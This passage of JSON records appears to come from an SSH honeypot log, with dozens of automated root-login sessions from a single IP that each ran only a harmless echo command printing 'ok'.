  "name": "mindful-marbled-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38464,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:05.204025+00:00",
  "ended_at": "2026-08-23T08:52:06.566474+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6475d398-4cd7-4fd8-b258-fcaa1f7e7001",
  "name": "western-hushed-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:02.794301+00:00",
  "ended_at": "2026-08-23T08:52:04.425343+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7283f814-4e6e-4a9c-8289-44d4c55c106f",
  "name": "russet-umber-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:52:00.640551+00:00",
  "ended_at": "2026-08-23T08:52:02.109308+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5367db65-565c-4a64-b2ea-7a8efae2f1a5",
  "name": "autumn-velvet-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:58.214771+00:00",
  "ended_at": "2026-08-23T08:51:59.985951+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7c4779fb-592d-4c65-90d0-4763d7c8cb8d",
  "name": "nimble-icy-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39920,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:55.510239+00:00",
  "ended_at": "2026-08-23T08:51:57.514057+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d871efdd-b511-4c45-b635-e2e28ed6d7a8",
  "name": "wiry-wry-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39912,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:53.785182+00:00",
  "ended_at": "2026-08-23T08:51:54.732158+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67ed3bf0-a0df-435c-9678-ad81cc8804ee",
  "name": "breezy-jolly-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:51.983169+00:00",
  "ended_at": "2026-08-23T08:51:53.164649+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "095429c2-0722-46fb-b9b5-6f889a160263",
  "name": "dappled-mellow-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39902,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:49.257793+00:00",
  "ended_at": "2026-08-23T08:51:51.199559+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "854d686a-b68e-40cf-af4c-f8c61a4da931",
  "name": "earnest-misty-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51536,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:46.542638+00:00",
  "ended_at": "2026-08-23T08:51:48.441825+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c998c4c8-130a-4cf6-865b-93eeeadb0c8e",
  "name": "languid-hearty-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51528,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:44.411897+00:00",
  "ended_at": "2026-08-23T08:51:45.877175+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7c49611f-9be1-46f9-8a0c-462cf7dee19c",
  "name": "rapid-tranquil-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:42.677292+00:00",
  "ended_at": "2026-08-23T08:51:43.783871+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eb70312b-6da8-4918-a7cc-d7e0c83a1273",
  "name": "watchful-dusky-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:40.589155+00:00",
  "ended_at": "2026-08-23T08:51:41.968495+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2c2c3be3-e464-42c4-a0ce-7b3253b9b19b",
  "name": "pristine-wandering-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52124,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:37.511389+00:00",
  "ended_at": "2026-08-23T08:51:39.782570+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "57f252b2-d27a-4051-97b8-00fa4b8ddbc0",
  "name": "coastal-early-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52108,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:35.273014+00:00",
  "ended_at": "2026-08-23T08:51:36.687894+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6a4135b5-a542-4744-9304-8b9c4e2b2e71",
  "name": "bold-fickle-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52096,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:32.926669+00:00",
  "ended_at": "2026-08-23T08:51:34.620886+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "79448c28-cfb6-45b5-9ef1-4228504797c9",
  "name": "fabled-pewter-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52068,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:30.979911+00:00",
  "ended_at": "2026-08-23T08:51:32.121493+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8d4a2a3f-2f52-4504-a770-f3f2f358619a",
  "name": "creaky-drifting-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57236,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:28.063836+00:00",
  "ended_at": "2026-08-23T08:51:30.165742+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b879408b-0186-44a6-b5f9-a3b218a8d232",
  "name": "dutiful-civil-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57232,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:26.183462+00:00",
  "ended_at": "2026-08-23T08:51:27.288651+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2a4abbfc-7b86-4ec2-b712-65e161f59913",
  "name": "curious-frank-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57216,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:24.071860+00:00",
  "ended_at": "2026-08-23T08:51:25.448765+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "616dee65-c7cd-46ac-ac39-cee395f31cd7",
  "name": "tangled-kindly-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:21.505782+00:00",
  "ended_at": "2026-08-23T08:51:23.298521+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "43227712-95a2-4da2-be6f-70baaa5ba138",
  "name": "hazy-gilded-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49246,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:18.705167+00:00",
  "ended_at": "2026-08-23T08:51:20.814353+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f757fb83-657a-44c3-a288-d7cb50c98d52",
  "name": "mottled-creaky-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49244,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:17.061081+00:00",
  "ended_at": "2026-08-23T08:51:17.954631+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "599fe2eb-f3de-4908-aa0d-70748ca94081",
  "name": "muted-chilly-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49236,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:14.377693+00:00",
  "ended_at": "2026-08-23T08:51:16.311801+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4d89ea7d-b9b8-4b12-a476-58c48a67ee5e",
  "name": "vigilant-lonesome-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49228,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:11.962044+00:00",
  "ended_at": "2026-08-23T08:51:13.727958+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "da69b561-4d07-4d87-8075-a5b6497ce3b1",
  "name": "idle-rustic-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49218,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:10.056289+00:00",
  "ended_at": "2026-08-23T08:51:11.265566+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fd1495ad-d0d6-4f7d-8df6-820ec1737aef",
  "name": "arctic-ginger-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:07.687434+00:00",
  "ended_at": "2026-08-23T08:51:09.346741+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "20ac5571-0733-46c2-8af2-0264ccfe55be",
  "name": "cosmic-slender-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52192,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:04.938003+00:00",
  "ended_at": "2026-08-23T08:51:06.989357+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d1ea5ef5-9cee-4c30-912b-7a980cdd523b",
  "name": "mighty-umber-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52186,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:02.755999+00:00",
  "ended_at": "2026-08-23T08:51:04.278564+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4ae4cb24-680f-42ee-baab-c6077f1fb719",
  "name": "coral-ginger-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52182,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:51:00.381088+00:00",
  "ended_at": "2026-08-23T08:51:02.025503+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e743b14e-4112-45a7-9548-287e0ee58752",
  "name": "snowy-prairie-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:57.934386+00:00",
  "ended_at": "2026-08-23T08:50:59.756724+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c418ac6-583c-4a2d-a09f-e67023bbb1d6",
  "name": "coral-earnest-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40904,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:55.137486+00:00",
  "ended_at": "2026-08-23T08:50:57.220997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "708d1078-3c83-4e64-94d1-0c02987a585c",
  "name": "gloomy-forlorn-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40892,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:53.233249+00:00",
  "ended_at": "2026-08-23T08:50:54.385124+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ae1b07eb-0fa5-4842-a933-ef80743d3d50",
  "name": "weathered-scarlet-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40880,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:50.665305+00:00",
  "ended_at": "2026-08-23T08:50:52.450794+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1c13220e-06c2-43ee-b1fa-aaa90e5816e3",
  "name": "prickly-bashful-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40706,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:48.727825+00:00",
  "ended_at": "2026-08-23T08:50:49.897895+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "41ce278f-61ee-4860-ab28-f75905953fed",
  "name": "solemn-freckled-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40696,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:46.114071+00:00",
  "ended_at": "2026-08-23T08:50:47.897115+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1f1c5c4e-f5c9-4e13-bf02-c672635438cb",
  "name": "vernal-lively-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40688,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:43.811232+00:00",
  "ended_at": "2026-08-23T08:50:45.477855+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c70d8936-e576-4378-bb81-d43ff8a65e0f",
  "name": "scarlet-dutiful-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40684,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:41.464371+00:00",
  "ended_at": "2026-08-23T08:50:43.185589+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "457c35af-fafc-4bfb-a5df-99739fa2843e",
  "name": "vaulted-loyal-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:39.624373+00:00",
  "ended_at": "2026-08-23T08:50:40.750765+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f3e291b9-162a-4ebb-833e-c2d8e5c21b9c",
  "name": "solemn-plush-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:37.211153+00:00",
  "ended_at": "2026-08-23T08:50:38.953956+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "844796c2-a81c-4024-82e3-1e70d2236bfb",
  "name": "pewter-slender-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58474,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:35.244488+00:00",
  "ended_at": "2026-08-23T08:50:36.386074+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0403ad38-fad9-4f24-a078-37c69b19b5ce",
  "name": "dewy-arctic-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58472,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:32.713213+00:00",
  "ended_at": "2026-08-23T08:50:34.572531+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5bc9e03f-c8da-450d-9527-c9ec20137941",
  "name": "gentle-honest-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:30.582716+00:00",
  "ended_at": "2026-08-23T08:50:31.965446+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0ee6489f-e64c-4950-b4f4-d7431551f3e7",
  "name": "oaken-gloomy-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40130,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:28.905641+00:00",
  "ended_at": "2026-08-23T08:50:29.847484+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ab64d4ab-0fa7-4845-89e8-c1174aa65bbd",
  "name": "frosty-stormy-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:25.998782+00:00",
  "ended_at": "2026-08-23T08:50:28.050677+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "68e74e34-6c77-41b4-a265-9bc67edbb6a0",
  "name": "sooty-sullen-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40110,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:23.612967+00:00",
  "ended_at": "2026-08-23T08:50:25.264219+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e47e1ff8-1056-4dc1-add4-4afdb4fe75e9",
  "name": "ginger-serene-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40094,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:21.076408+00:00",
  "ended_at": "2026-08-23T08:50:22.956893+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a48337a8-d74e-40ba-b1e3-30c0af61c88c",
  "name": "patient-feral-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59052,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:18.128927+00:00",
  "ended_at": "2026-08-23T08:50:20.400188+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "02f03c65-ce20-4087-8c4c-372d02cffe52",
  "name": "sooty-gilded-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:16.287485+00:00",
  "ended_at": "2026-08-23T08:50:17.368625+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "518581a7-6b21-4c24-88f4-8c2c27a92685",
  "name": "cobalt-quiet-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59034,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:50:14.559717+00:00",
  "ended_at": "2026-08-23T08:50:15.523036+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "014915f7-f138-41a6-b989-40d93a11549f",
  "name": "mossy-kindly-yak",
  "protocol": "ssh",
